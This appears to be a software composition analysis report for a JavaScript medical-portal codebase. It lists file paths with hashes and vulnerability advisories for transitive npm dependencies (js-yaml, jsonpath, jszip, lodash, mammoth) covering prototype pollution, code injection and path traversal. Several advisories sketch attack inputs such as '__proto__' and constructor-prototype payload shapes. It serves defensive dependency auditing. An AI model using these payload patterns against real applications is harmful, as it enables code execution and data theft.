MD5: 477d0d7e312b1c6f8908c1c24ab1e0a8
SHA1: be5b9ba5566ddd9941f9c800cea0f67a9b21ab05
SHA256:59a0b858d36e9f3105eadfe5402fd9f732e0d9b75092efa2307f1fa6b2d0bb93
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/all-users/patients/patient-view-profile/index.js
MD5: 4480f5eade928ac6fa04859ceac666b6
SHA1: fed6bd153424622800ff81b86d06aed03f4e90c7
SHA256:cc0b910436e8f59b286abcff221008dd175fd75f160085d032bdcb0550d2cd39
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/all-users/physicians/add-physician-plan-dialog/index.js
MD5: 0929e95f410e250fd864e135f604a2cb
SHA1: 979e0da6965a22813bf75f822813b809533bfada
SHA256:6735b9f242f2f4c79818dd5fecb475597608adee427d8f8cd31ae85512571c87
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/all-users/physicians/manual-user-entry/index.js
MD5: 9eef7a374c4d959fc7ea5ae72f3bafbd
SHA1: d4efa42ba5f7b53db1f1769f97145570da97d1a4
SHA256:3541f8cb1f62243eae986b7b25c6b2e7a91c0232be765ca99974b599ab71e0fd
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/all-users/physicians/physician-view-profile/index.js
MD5: 6a5948a81c5294b08f2272c3d142833b
SHA1: edb6ab9ae615211913361f568f5b560a64f71177
SHA256:aa0db45217c1546596626b6b1af01a32fcf749b5ff9d8e6c7a167a874cf4d8cb
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/instructions/index.js
MD5: 8b64f78fcc451d0ca8f90e3380584212
SHA1: b5431b765be4b1b94f7fe04effeb19152631ad0a
SHA256:9bc8782be33b067783e0053543fcde0c8f0553b1e815f899b1861da31e56e532
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/medical-settings/diagnosis/index.js
MD5: 9da28eea8e89572eb6987bb03a865f20
SHA1: bf52a1a56e096603dfcfeaf2c4c0d5de1b141827
SHA256:e52b7fccbbc0a66db78d8af7a1b10125ea0e5233c9f9d928817d29c265ee14d6
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/medical-settings/diploma/index.js
MD5: f813cb79ca26f419ad2d3f5480849f89
SHA1: f8f79109f9629cddb9502b35d6677a15866655f1
SHA256:50375349d47d8f97511238381e5c068e0e4080f8d6afdd54d014f23b249f7729
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/medical-settings/expertise/index.js
MD5: b7e99b0558e08d3f82cd58298b40382d
SHA1: c760b49e2c1cd174655502abace593483e7d840e
SHA256:2d3c03bd44fcf39da43a7b2a4664094fa418be6df96eedaa0ab2b66645e63508
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/medical-settings/index.js
MD5: 568009ce1df8713d6ac3d2571685db47
SHA1: 229df751f018af7a964cf6753942473443d7fa54
SHA256:953bb7521b4bb27afb203db97ef7afe4591dc5e9417e960982a0254b06701070
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/medical-settings/language/index.js
MD5: 0557b504e9cd52ed3a06699559dc117a
SHA1: 79b1369cb951ed8f2411aadaa94b478a73253835
SHA256:7039b4c0e0d24f3813594ad4d7f30f4c09aa9af17428afe5ec0c16e5201023f9
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/medical-settings/organs/index.js
MD5: fc7aaa7cfc91aa5b5303d98b9db9e83f
SHA1: 5ae22b609435910ce1be347ebbc64f90cebda7af
SHA256:e12c024d7f8ecc912cb0e1807534aea472d28a9cc5aefcf4578b75070069ed23
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/medical-settings/profession/index.js
MD5: d0f56a9dbaee7c29a93449cd4fecb42a
SHA1: 59e6e0581143e688cb5f7814de7987a228d4286a
SHA256:ab32d69036e2a88de7ccc1314df5d761e6ad0017135a9bb96b59fd257913ee8d
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/medical-settings/sub-specialities/index.js
MD5: 727ff9b3a8ec5e16bb10f3771740421e
SHA1: 8d3d33c3305e2b0385a95269356255e33ef994c7
SHA256:638d946510d585b137af4be7a4d23fb84afd481e7f623faecca1e42fca9df9fc
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/medical-settings/tags/index.js
MD5: fbdc82c221955a2d0f976b4381cde8ae
SHA1: 0c8d43e571f1749da78a082527b443f0238f022f
SHA256:e25c7b12413bb45ebe61c602942238cc2da77634a88a8f68dfe9056be1c996d4
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/medical-settings/universities/index.js
MD5: 8cf679fa788d4d444739c4245d599881
SHA1: f145821db3f90e17e028633bb6d393519002c0cc
SHA256:3c5eb550ccf3a9e69189628d00976f5e34bf54217f7493c69af34a4fabb4a5da
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/question-library/index.js
MD5: e0848dd3d57436eb3821c34c34114647
SHA1: 26618744d14347c6bb63e99c2588ee04f2f25d0f
SHA256:a9236af68d4ba905a676d819f5b96891e7b781c8663d2bef5f9f80818de42105
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/user-roles-and-permissions/index.js
MD5: 50dae7066f5cdb060b42000107015784
SHA1: 23a0329a88e5be6b707aa3ea8d328d742d1d9a8c
SHA256:c8d83e5e55cef3ccb5b4ae887d262d5e8cb1c2c7c55df8f3a27c3be64404aa34
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/user-roles-and-permissions/manage-discount/index.js
MD5: 45ad4f7b4a05cb9b0c0139a042ecf693
SHA1: cf7485d9e738d18ab4c927baf707c907dd4febb5
SHA256:44dc9a51f57982c74f0f6e37ee2b0bb2e59e52df0c156e883dc5deb75fb06ee1
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/user-roles-and-permissions/package-info/index.js
MD5: 91af80f2788ab3b361241bb5c04c40b0
SHA1: eff4bb1439c87f172aa57c2f410acc1333f07d3a
SHA256:26f7eb620f0316e86c5fc748c0d028cf0ab1faefe0b03f1a3986be09480bc57e
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/user-roles-and-permissions/user-business-models/index.js
MD5: e6cd3fedcec03b6db96458292bb86748
SHA1: a6b1b81db000948db9c8085d6f81feddb905f7e2
SHA256:aff1ed5d28756cb0cb9ae1a288a94965799fb001549aa7ecb3667fe9ad956a87
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/user-roles-and-permissions/user-level-permissions/index.js
MD5: c1b88bd88d962f41b28d3a5dbd1060af
SHA1: 2bf0cc2e17d8ef51eb4f26c9cf4635ee6e5ac3ad
SHA256:3fa9b11b9131ff56974a7db92ccfda5a33e49e6b3eb166ae841cd78ad705d0b8
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/configure-policies/index.js
MD5: ab740fdcb26b0546380bcb098c9a62f8
SHA1: f79f6155a867a5410b93672ce74801da2723c7ec
SHA256:e03effe00f159911248cbb70e7023d2176ea369e365de73014b699865db57f31
File Path: /github/workspace/src/components/pages/features/view-case/index.js
MD5: f91e0dad5fa64503d21ec37cfd596b4c
SHA1: 138381543e42e0b210924530c8cb18aff3c49ef8
SHA256:f619b7729424d6ed189bbcb815b9bcf9a5e5ef908c46fe6bc8f7f98a5ed5b735
File Path: /github/workspace/src/components/pages/features/view-so-case/index.js
MD5: 5f7ea6f51b0d21eea70c6dee641f2c0f
SHA1: 8cd1f96dcfbd13af769ec2f286d05d4f87aa2c5c
SHA256:7dbd8887bfb01b71d0de4cb0dec451bdbb83aa0631aa09353f3703015e356709
File Path: /github/workspace/src/components/pages/pageNotFound/index.js
MD5: 24bb0fb43534a648dca3004776f12d9d
SHA1: 8092349972edc60b46702ebc98dd938359463431
SHA256:aa63322a6d513eaf865e7bf833052760ea5d33f8996c98a9717a6a62c2cde610
File Path: /github/workspace/src/constants/index.js
MD5: 144e71485df3a7bf12a76bd609e478b2
SHA1: a522c0dd2f99632fff445fee9aefc5e489c58ea6
SHA256:d27acab13fcd17907074acae7b77c47861110634217241b5ce3406e89cf91909
File Path: /github/workspace/src/redux/reducer/index.js
MD5: 6d602cad05b60199b1f75d42f54b18aa
SHA1: 3395896e51e1c6055bd08a449b43d65373df7e24
SHA256:e5cd9e2bec4ab1d9948d7d2527ce031b5b684049577bb88a5b201ac0b000011a
File Path: /github/workspace/src/redux/services/index.js
MD5: 8c8b16ff92b229f65e3d3f6afc4c57d5
SHA1: 9b440e7fe612931807eaab9745faec7e6b2e4d4b
SHA256:0ec870ea0725ff81adeb95b23fa7b08808f78b29ea67e673ea284ff777afc0e9
File Path: /github/workspace/src/redux/services/matrixService/index.js
MD5: 91bc7d8aae3048e853ba07318d572498
SHA1: 9415eeec95efb8a415229057fb9262977d411076
SHA256:114561a82df545f01b094e2703848d683c547811cc8394d9e2cb8a9d49225bc4
File Path: /github/workspace/src/redux/reducer/instructionsReducer.js
MD5: 8936419f8a06d8cccf71b66e9e0da306
SHA1: 1686d53c404fe24dc08f000d2628d044799a8ece
SHA256:606b3183f3cc51ac4be166de891609d1a58645fe33187b5d72043e6a3f0fef24
File Path: /github/workspace/src/redux/services/instructionsService.js
MD5: 159fb20091f3cd1df1a53d307f7cfaf0
SHA1: 5592ea1834c8dec10c4634186990fc97f2ff6e16
SHA256:e4755a0de350ed44953e99bfad41bf60901d9bcc0355bd9495d345d994e8549d
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/instructions/instructionsTabs.js
MD5: 431a6458d744f965ade920de993ed978
SHA1: 2e8eb3fa60e96163126e99ea14853c817625f7dc
SHA256:174e32a33a71c97053342c5b8de3ce7073d369dafcea9f27346ca1ecd94e21a4
File Path: /github/workspace/src/utils/isNumber.js
MD5: 8953386688072757800c2137d477b7b8
SHA1: 702a581accaf15a7784c27d9b8b0efee0808ac38
SHA256:d441bd25ea7d0cbfe6ec12505e0720a784cdaa4200f2f804534a4a5e3f182869
File Path: /github/workspace/public/dwv/decoders/pdfjs/jpg.js
MD5: ce10ac351181241f3ab839440c168c5a
SHA1: 958e903ef9a11a4d943535969fae05e452ac0c0e
SHA256:221cc5f5dc2b06850c977eb65f1464aa45c94d5e4af7ab8c684a9637e508d243
File Path: /github/workspace/public/dwv/decoders/pdfjs/jpx.js
MD5: dc091c578d00e62426e3f4e6b556d47d
SHA1: 6d4eeb0bef818e2c0893914496d5be3fd861ebc7
SHA256:d07a3d32ee88667f3b203eb742d1d9ccb8060cb89545c68b7a15106e9c17b6f1
File Path: /github/workspace/package-lock.json?js-yaml
Referenced In Project/Scope: package-lock.json: transitive
### Impact In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (`__proto__`). All users who parse untrusted yaml documents may be impacted. ### Patches Problem is patched in js-yaml 4.1.1 and 3.14.2. ### Workarounds You can protect against this kind of attack on the server by using `node --disable-proto=delete` or `deno` (in Deno, pollution protection is on by default). ### References https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.htmlCWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/utils/json2csv.js
MD5: c5984ce84f4fe4a3557ed78bc2c19b7a
SHA1: 34d55677ca5c7e8ab73e4aa5db1ba682047d6dc0
SHA256:c2996a8b5e4cb05e5c19bd69cd44b066d452790075dd39217865b66ea8bdb841
File Path: /github/workspace/package-lock.json?jsonpath
Referenced In Project/Scope: package-lock.json: transitive
### Impact **Arbitrary Code Injection (Remote Code Execution & XSS):** A critical security vulnerability affects **all versions** of the `jsonpath` package. The library relies on the `static-eval` module to evaluate JSON Path expressions but fails to properly sanitize or sandbox the input. This allows an attacker to inject arbitrary JavaScript code into the JSON Path expression. When the library evaluates this expression, the malicious code is executed. * **Node.js Environments:** This leads to **Remote Code Execution (RCE)**, allowing an attacker to compromise the server. * **Browser Environments:** This leads to **Cross-Site Scripting (XSS)**, allowing an attacker to hijack user sessions or exfiltrate data. **Affected Methods:** The vulnerability triggers when untrusted data is passed to any method that evaluates a path, including: * `jsonpath.query` * `jsonpath.nodes` * `jsonpath.paths` * `jsonpath.value` * `jsonpath.parent` * `jsonpath.apply` ### Patches **No Patch Available:** Currently, **all versions** of `jsonpath` are vulnerable. There is no known patched version of this package that resolves the issue while retaining the current architecture. **Recommendation:** Developers are strongly advised to **migrate to a secure alternative** (such as `jsonpath-plus` or similar libraries that do not use `eval`/`static-eval`) or strictly validate all JSON Path inputs against a known allowlist. ### Workarounds * **Strict Input Validation:** Ensure that no user-supplied data is ever passed directly to `jsonpath` functions. * **Sanitization:** If user input is unavoidable, implement a strict parser to reject any JSON Path expressions containing executable JavaScript syntax (e.g., parentheses `()`, script expressions `script:`, or function calls). ### Resources * [CVE-2026-1615](https://nvd.nist.gov/vuln/detail/CVE-2026-1615) * [Vulnerable Code in handlers.js](https://github.com/dchester/jsonpath/blob/c1dd8ec74034fb0375233abb5fdbec51ac317b4b/lib/handlers.js#L243) * [Snyk Advisory (Java/WebJars)](https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-15141219) * [Snyk Advisory (JS)](https://security.snyk.io/vuln/SNYK-JS-JSONPATH-13645034)CWE-94 Improper Control of Generation of Code ('Code Injection')
Vulnerable Software & Versions (NPM):
The value function in jsonpath 1.1.1 lib/index.js is vulnerable to Prototype Pollution.CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?jszip
Referenced In Project/Scope: package-lock.json: transitive
loadAsync in JSZip before 3.8.0 allows Directory Traversal via a crafted ZIP archive.CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable Software & Versions (NPM):
This affects the package jszip before 3.7.0. Crafting a new zip file with filenames set to Object prototype values (e.g `__proto__`, `toString`, etc) results in a returned object with a modified prototype instance.CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/constants/languageData.js
MD5: fde14e0248f450aa0fa2fdfcdab24d6d
SHA1: 84e634aae5cc42acc29d802784396ba5cb9529f0
SHA256:127e1a8492bd906e93433a56988c1a7d235f4c991c576e01cd2fd6e9ef0160ee
File Path: /github/workspace/src/app/routes/lazyComponents.js
MD5: 61104404493626eb809fbda7f3920853
SHA1: 765b06cb1fe360083559361fb2f52e964e6172ee
SHA256:6a017f5cd8f6127776e5edf6db76b3eb6754b3c1e670315bc107d545cf94b2f7
File Path: /github/workspace/src/components/pages/features/patient/my-library/libraryTabsArr.js
MD5: c8d930736aca4b5be7f1173f5aacee05
SHA1: 11e91f97147825bf82b0795440d2b2476a196f2a
SHA256:22511c5ded89e8feda1a48db1c8285d9a0fd3421c51a1772075f265a685e19f3
File Path: /github/workspace/package-lock.json?lodash
Referenced In Project/Scope: package-lock.json: transitive
Versions of `lodash` before 4.17.12 are vulnerable to Prototype Pollution. The function `defaultsDeep` allows a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.
## Recommendation
Update to version 4.17.12 or later.
CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), CWE-20 Improper Input ValidationVulnerable Software & Versions (NPM):
Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions `pick`, `set`, `setWith`, `update`, `updateWith`, and `zipObjectDeep` allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays. This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), CWE-770 Allocation of Resources Without Limits or Throttling
Vulnerable Software & Versions (NPM):
`lodash` versions prior to 4.17.21 are vulnerable to Command Injection via the template function.CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection'), CWE-94 Improper Control of Generation of Code ('Code Injection')
Vulnerable Software & Versions (NPM):
Versions of `lodash` before 4.17.11 are vulnerable to prototype pollution.
The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.
## Recommendation
Update to version 4.17.11 or later.
CWE-400 Uncontrolled Resource ConsumptionVulnerable Software & Versions (NPM):
### Impact Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the `_.unset` and `_.omit` functions. The fix for [CVE-2025-13465](https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as `Object.prototype`, `Number.prototype`, and `String.prototype`. The issue permits deletion of prototype properties but does not allow overwriting their original behavior. ### Patches This issue is patched in 4.18.0. ### Workarounds None. Upgrade to the patched version.CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable Software & Versions (NPM):
Versions of `lodash` before 4.17.5 are vulnerable to prototype pollution. The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of `Object` via `__proto__` causing the addition or modification of an existing property that will exist on all objects. ## Recommendation Update to version 4.17.5 or later.CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), CWE-471 Modification of Assumed-Immutable Data (MAID)
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/public/dwv/decoders/rii-mango/lossless-min.js
MD5: 48c7290f160ffc98c55c5888f649f8c6
SHA1: 9dd871394617876f1b8f3de3520df4d389c5daeb
SHA256:4f6c448c32ff78f9b85fcf08bff098a38ef5a98b5a593af0fbe4ac6439820872
File Path: /github/workspace/public/dwv/decoders/rii-mango/lossless.js
MD5: 145abdc03673c6f72d16eb79f02076b2
SHA1: 0049c016af56b5005e0761bcc748c94fff2c84f9
SHA256:2a96f212bed09dde60920a851212581aa3824ef31a7d6471961c9f49ee98807d
File Path: /github/workspace/package-lock.json?mammoth
Referenced In Project/Scope: package-lock.json: transitive
Versions of the package mammoth from 0.3.25 and before 1.11.0; versions of the package mammoth from 0.3.25 and before 1.11.0; versions of the package mammoth before 1.11.0; versions of the package org.zwobble.mammoth:mammoth before 1.11.0 are vulnerable to Directory Traversal due to the lack of path or file type validation when processing a docx file containing an image with an external link (r:link attribute instead of embedded r:embed). The library resolves the URI to a file path and after reading, the content is encoded as base64 and included in the HTML output as a data URI. An attacker can read arbitrary files on the system where the conversion is performed or cause an excessive resources consumption by crafting a docx file that links to special device files such as /dev/random or /dev/zero.CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/manifestForPlugin.js
MD5: 0b28181a365bab65555395ab80642201
SHA1: bd39f8e58881793a815003f3d82442fce24163b5
SHA256:15dcd21671724108a67c0ff038636b3bbd993c9eff6ace9e2f5a62b3f4753eb6
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/all-users/physicians/manual-user-entry/manualUserEntrySteps.js
MD5: 97f3777c2f8ed877d5df4468e93af8ab
SHA1: 95bb2d22943c400e90b0d820bd952ffdcdaef9ca
SHA256:50d72993a662f3b6f75b8845b6e9f4d2df62271b8096af8ab1354984db267300
File Path: /github/workspace/src/utils/matrixUtils/matrixAudioPlayback.js
MD5: c70de4f35f3832b56fabb10c05bf7c13
SHA1: 88c68223c230e5e8de8625e6bb36af3608abd554
SHA256:777cf553add5b5eaf324d8048e23333579b8dcdd7a44bbd32f13b1f2bb632ad3
File Path: /github/workspace/src/redux/services/matrixService/matrixCall.js
MD5: c78a2dc73e50a72cff5f556e5153d3ee
SHA1: a52a491ebcbc5d60609e026b63109e577767f338
SHA256:3c359149a9e8efc7bde1e91dff79b16beefb7ad5a5dedfc77777fe19b44f00f1
File Path: /github/workspace/src/redux/services/matrixService/matrixCall.test.js
MD5: 74932747fabc98d1b23f4d79148368f2
SHA1: b7763059c419745594a611bd7900ce455255f8b2
SHA256:6388d84c7e766119dc2a1da3d1f3d5480793ca29ee44d6b5c0c7c625d42820d9
File Path: /github/workspace/src/redux/services/matrixService/matrixClient.js
MD5: 8d1f7f565c01f8e8ff319d88ea9c789e
SHA1: 410410b439099ac56ce1586a80b31672f495bd62
SHA256:2b3e2bac4d441e2fb5ed32af888ef66a2f6f75e90bc14deef5e3aaa409f61d35
File Path: /github/workspace/src/utils/matrixUtils/matrixDbCrypto.js
MD5: 1f3fd4bf8911ad818901926aef9d96f7
SHA1: 5d1541fc092139c92022c636e1428ac49eef0e1c
SHA256:28661c1c0f9665473c85841249b95457917f08ff0e3aec9f9b056391bd877200
File Path: /github/workspace/src/utils/matrixUtils/matrixDbMessageOps.js
MD5: 34236cbbb472fc02ac55598b380ef669
SHA1: fda4f4d3f774c1c3cd697e754321f7927d85cea9
SHA256:10b16ec1cfafc4462977e40c076552d6578d3dd3b36874881d037cafcbfdc0b9
File Path: /github/workspace/src/utils/matrixUtils/matrixDbPurge.js
MD5: 643c1c18aef5c9e53d5e0502c218e875
SHA1: 51defa5d7deb89d246000295ed7fdf0e45f56fee
SHA256:ee1c1073e30b3e7bd1a33663f6c7048dd196a286ab0aaa5c1c81bbb7b519ef89
File Path: /github/workspace/src/utils/matrixUtils/matrixDbReactionOps.js
MD5: f38ea0422e55a0c3f68bf131b3d03618
SHA1: 07f5130eb45e0ca4700712b454a0af1e63e8e673
SHA256:cb0c43ded1a90c757af6975c40d3231ec270354c32c51fde6b17172b037149f6
File Path: /github/workspace/src/utils/matrixUtils/matrixDbSchema.js
MD5: f85d78321e65ccdd68899b03071ebf3c
SHA1: bfbc74935fe9979c5e899b1537cdb85969844981
SHA256:74faed168491999b9868d873c9ec1fe0186b6cb27bdb353b3de00138924ad87c
File Path: /github/workspace/src/utils/matrixUtils/matrixDbSearch.js
MD5: 61ea2e4be387dd9337011d01775ac051
SHA1: 4852e10d1dbaef843ea1677a55799f32a8d81e04
SHA256:c218f291893f298f4794a653dde97f97932f2cd0967a9bc6538b85a6d88c708a
File Path: /github/workspace/src/utils/matrixUtils/matrixDecryptionRetry.js
MD5: 193b10d9e362d908d90aa0ce3619c3e2
SHA1: 6d2b2b49b6258f0d2dc4787b450f7dd38147f427
SHA256:ef0b972a2c2e526269cfa3da725e36e9baadc8871ce4f9fc10070e72c3bc68e2
File Path: /github/workspace/src/redux/services/matrixService/matrixE2ee.js
MD5: d5026223a3c311f28160bad08d3eff94
SHA1: 22f1599218ec6bb67ad4e04fd72bac8c19625663
SHA256:ff93583ec1ccf6e7adeecb157132f882a096dddcfc5acc3ceb13b7742ebfb168
File Path: /github/workspace/src/redux/services/matrixService/matrixE2eePhase.js
MD5: e2501650e9d6a87ca0bcf5bc5bb9c2ed
SHA1: 76df2401001f1151cbee6214351813f33e2b2969
SHA256:0534c4229cc6193c65fde6323890099c43b1839d70fdeca5f5328647bcea6ad0
File Path: /github/workspace/src/utils/matrixUtils/matrixExportChat.js
MD5: e50a50a5452e1db98d71ae33ca55b7c2
SHA1: b598b499594b68846ce472594c0ee1758df6ea15
SHA256:107fafd319650732f002e0f2064b6a09c22888f953a0a6b24b5c1560e7f440da
File Path: /github/workspace/src/utils/matrixUtils/matrixExportChat.test.js
MD5: 95e0e7596c1d5618f1f510d0f14bbcc8
SHA1: 960b5f61cc76e13c2288f0c3bb52f821342aced0
SHA256:651e5751cde0100d506f8b2e3294e852364eb5458c60bf7afe956959de12605b
File Path: /github/workspace/src/utils/matrixUtils/matrixGdpr.js
MD5: 70ebb5a242286eaf7cc9223f379209ec
SHA1: 1242598bb83a0eef231d33fc1faebc73bc84ca7d
SHA256:e46ca49053c6ce26a1414d158b57b90d90ee22c88b98f2a03476d60795eba81d
File Path: /github/workspace/src/redux/services/matrixService/matrixLogging.js
MD5: 6ff01057c6beaa7126b2868ba2bf3f8c
SHA1: 3f39d82423e40f32c499f63f0f641e798aa2358a
SHA256:cee304b2f1fd74f12aa284e984684e4ff76cf911403f31f57c8535aac68ba491
File Path: /github/workspace/src/redux/services/matrixService/matrixMessaging.js
MD5: 8e27f3a45e3fb65a47b88bd92cbcf46f
SHA1: 05b210e8ef3e4f5c60ac8b1578e5c47f15aa98c0
SHA256:959388e83aa44c796ab1c25a04e94a5569224e5156e7b0a24fc450d14c8ac03a
File Path: /github/workspace/src/utils/matrixUtils/matrixPresenceHelpers.js
MD5: 4beea8597e07e93135983c0c4f0c8a57
SHA1: 981c63097f391fdc0130a3caef111f046d8a6b4f
SHA256:85c98ccc9a78e63080ffd59c28c45f2eef5153a63696b47ea65e1c8e46154b2b
File Path: /github/workspace/src/utils/matrixUtils/matrixPresenceHelpers.test.js
MD5: 23e37554b487ddb1ac46f1091d7451e8
SHA1: b4107efe4603cf9ae0614bbd75f9287fc2d8aa49
SHA256:3e150b75e8498128bd8e5f95bc9811c2d8c4f44780b2b51747c0ad916864db7b
File Path: /github/workspace/src/utils/matrixUtils/matrixReactionHelpers.js
MD5: c3a2aa18c0d2bfb3fee6bec916420aac
SHA1: cfbd026043ff001d80e123fae6fa0084b2b23ae5
SHA256:6eea25a7590d9aa5ae829211feec24cfcc2bf9da15b5591db3f8cc6dfcbdec85
File Path: /github/workspace/src/utils/matrixUtils/matrixReactionHelpers.test.js
MD5: a22780b371a335d2c4b39e74df449cec
SHA1: 615c4d0d3d1d0113af45c796f5764772537f1986
SHA256:39024cf37d9309e8aba38efe6ba0d5c7f466ae7913c604081a2fd6f26371da6f
File Path: /github/workspace/src/redux/reducer/matrixReducer.js
MD5: e40c0537c925aea703be01e1791e09e0
SHA1: 8c73c32017c328f6487d1baac10b40907cd9ce77
SHA256:1a8a9802c8695d2973135a2057ffa3f8dce309ee939f8cc7b8f2ed4fcd022179
File Path: /github/workspace/src/redux/reducer/matrixReducer.reactions.test.js
MD5: 5dac534dd7e9f132e7d9c6725615d76b
SHA1: db833f80c05aef772f7c0b0cf8688a3588e00674
SHA256:c8c8e0ccf6c569a11e2037085fc9ce01163b507e31dd362a8ad964b42c75b40b
File Path: /github/workspace/src/utils/matrixUtils/matrixReplyHelpers.js
MD5: c074d197edc6fe561335b0f64e922cc4
SHA1: 13df6020825d8dda1c5caa26fabe23b06c42af89
SHA256:ce443c97bb33d651e977aa483a6894c62e53d65d1407e4de0b373dcc2dafa27e
File Path: /github/workspace/src/utils/matrixUtils/matrixReplyHelpers.test.js
MD5: 822e726be682e38e14493757b3be6a55
SHA1: a4c8aa23a9c1b3920c487d5f0da11e6503084f95
SHA256:ea99288de93b4b49c56341747e2b3a34b95b16f695e0cacddc2e9e1f2ac070a3
File Path: /github/workspace/src/utils/matrixUtils/matrixRetentionCleanup.js
MD5: c5d7588ada8c6ba0c30bfbcba3e83d4b
SHA1: 84589d8cf35c1de22143b0d810bf742ed4000940
SHA256:a6d26b4e32bd4fd2e3464c226b942b227f81e27d504e31fca5952fb81b33bc62
File Path: /github/workspace/src/utils/matrixUtils/matrixRetentionState.js
MD5: 9e1b127255c70c3a65c2198a60adbaec
SHA1: 8eda0e62363ddc8910ac8e30c45c1ca5fd36f83b
SHA256:0b7a057614579e35d916f368b082357ac95f059c54882d4e581843fa2d3fa929
File Path: /github/workspace/src/utils/matrixUtils/matrixRetentionUi.js
MD5: 7a18c42bc6119207a209c74278cb0b25
SHA1: c9d681a72d934e7e47b253f4cb8a0a4852b30f7a
SHA256:3f7a67bf9224f465efdbccb3a5f3336e056ef2dbdd5721fe4b21ede795a3a007
File Path: /github/workspace/src/redux/services/matrixService/matrixRoom.js
MD5: 18f239bdbf7dcba6ef5cb8e7f8092ecd
SHA1: f5ad61d1c8c5146134da18deebb450d6476193f4
SHA256:8e2a343e7d4e0eccb38cb1fdc0d0acab7b36deff8356eb47cc588deedacc062a
File Path: /github/workspace/src/utils/matrixUtils/matrixRoomType.js
MD5: 64ad2a3e4fc8d41877ebce127d5326f7
SHA1: e440e176af8fe9608bf69d591bb0637d71834c7d
SHA256:fc0ec901ef6fca549d0dd186dcf4ee6f1a3466477fa9d2c49521d9cae26e34ac
File Path: /github/workspace/src/utils/matrixUtils/matrixRoomType.test.js
MD5: 754de0a2d6f987f825540d80907ca622
SHA1: 52e3b1310184a02d5f8539a8f0be25e7ff3105e6
SHA256:9a3e90580df3ad26344647387fab869605be83fff7f0324d85809c27e89d11e1
File Path: /github/workspace/src/redux/selectors/matrixSelectors.js
MD5: 5d60cad0d28d73898db33beaa1c5b950
SHA1: 18447887ea66b0905dfab4ea0067856ad8ebcbf0
SHA256:71f6b5d077d58244212299d7f1754fd78255b60b04bf4280efb3fd0c20568932
File Path: /github/workspace/src/utils/matrixUtils/matrixSqlite.worker.js
MD5: 3ca4fcfea9bd0b32831269468736702d
SHA1: 06483369e47e94f2ec4dea3f6ec28c103105c28f
SHA256:1b188b1d92f398bd88f182890294f74b44b762e89b3fd82d794f979837d1a4ed
File Path: /github/workspace/src/utils/matrixUtils/__mocks__/matrixSqliteBridge.js
MD5: 3cb44c755a1105863c74f08277d5cd20
SHA1: e388a51ac05e82669eaf891ce29f22737acfc700
SHA256:ff4b8e1c14c1c9c523a03e795f30a3ced1ed5ec0722e8ea79f6c1ad41ee59cb7
File Path: /github/workspace/src/utils/matrixUtils/matrixSqliteBridge.js
MD5: dd0fd3a36b208ad79916e65fec032f5c
SHA1: 98bf754e75d049175c76bbc288c93133096f591d
SHA256:15f562e7396ca36fcfe0c8e849dce43ff577e7d95e24f4ff2cba5b2f30d9eee6
File Path: /github/workspace/src/redux/services/matrixService/matrixState.js
MD5: 795c646ab79f3fa66faa20c0297c9a6c
